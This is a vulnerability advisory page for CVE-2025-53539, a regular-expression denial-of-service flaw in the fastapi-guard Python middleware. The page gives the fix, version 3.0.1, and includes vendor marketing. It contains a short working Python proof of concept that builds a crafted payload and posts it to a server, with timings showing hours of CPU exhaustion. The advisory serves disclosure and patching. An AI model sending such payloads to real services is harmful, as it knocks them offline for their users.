Summary
fastapi-guard is vulnerable to ReDoS through inefficient regex
fastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.
It is not as severe as exponential complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.
PoC
payload = lambda n: '<'*n+ ' '*n+ 'style=' + '"'*n + ' '*n+ 'url('*n # complexity: O(n^5)
print(requests.post("http://172.24.1.3:8000/", data=payload(50)).elapsed) # 0:00:03.771120
print(requests.post("http://172.24.1.3:8000/", data=payload(100)).elapsed) # 0:01:17.952637
print(requests.post("http://172.24.1.3:8000/", data=payload(200)).elapsed) # timeout (>15min)
Single-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.
Impact
Penetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting enable_penetration_detection=False are vulnerable to DoS.
A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use. Typical impact: denial of service when input is crafted to trigger backtracking.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2025-53539? CVE-2025-53539 is a medium-severity inefficient regular expression (ReDoS) vulnerability in fastapi-guard (pip), affecting versions <= 3.0.0. It is fixed in 3.0.1. A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use.
- Which versions of fastapi-guard are affected by CVE-2025-53539? fastapi-guard (pip) versions <= 3.0.0 is affected.
- Is there a fix for CVE-2025-53539? Yes. CVE-2025-53539 is fixed in 3.0.1. Upgrade to this version or later.
- Is CVE-2025-53539 exploitable, and should I be worried? Whether CVE-2025-53539 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-53539 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-53539? Upgrade
fastapi-guardto 3.0.1 or later.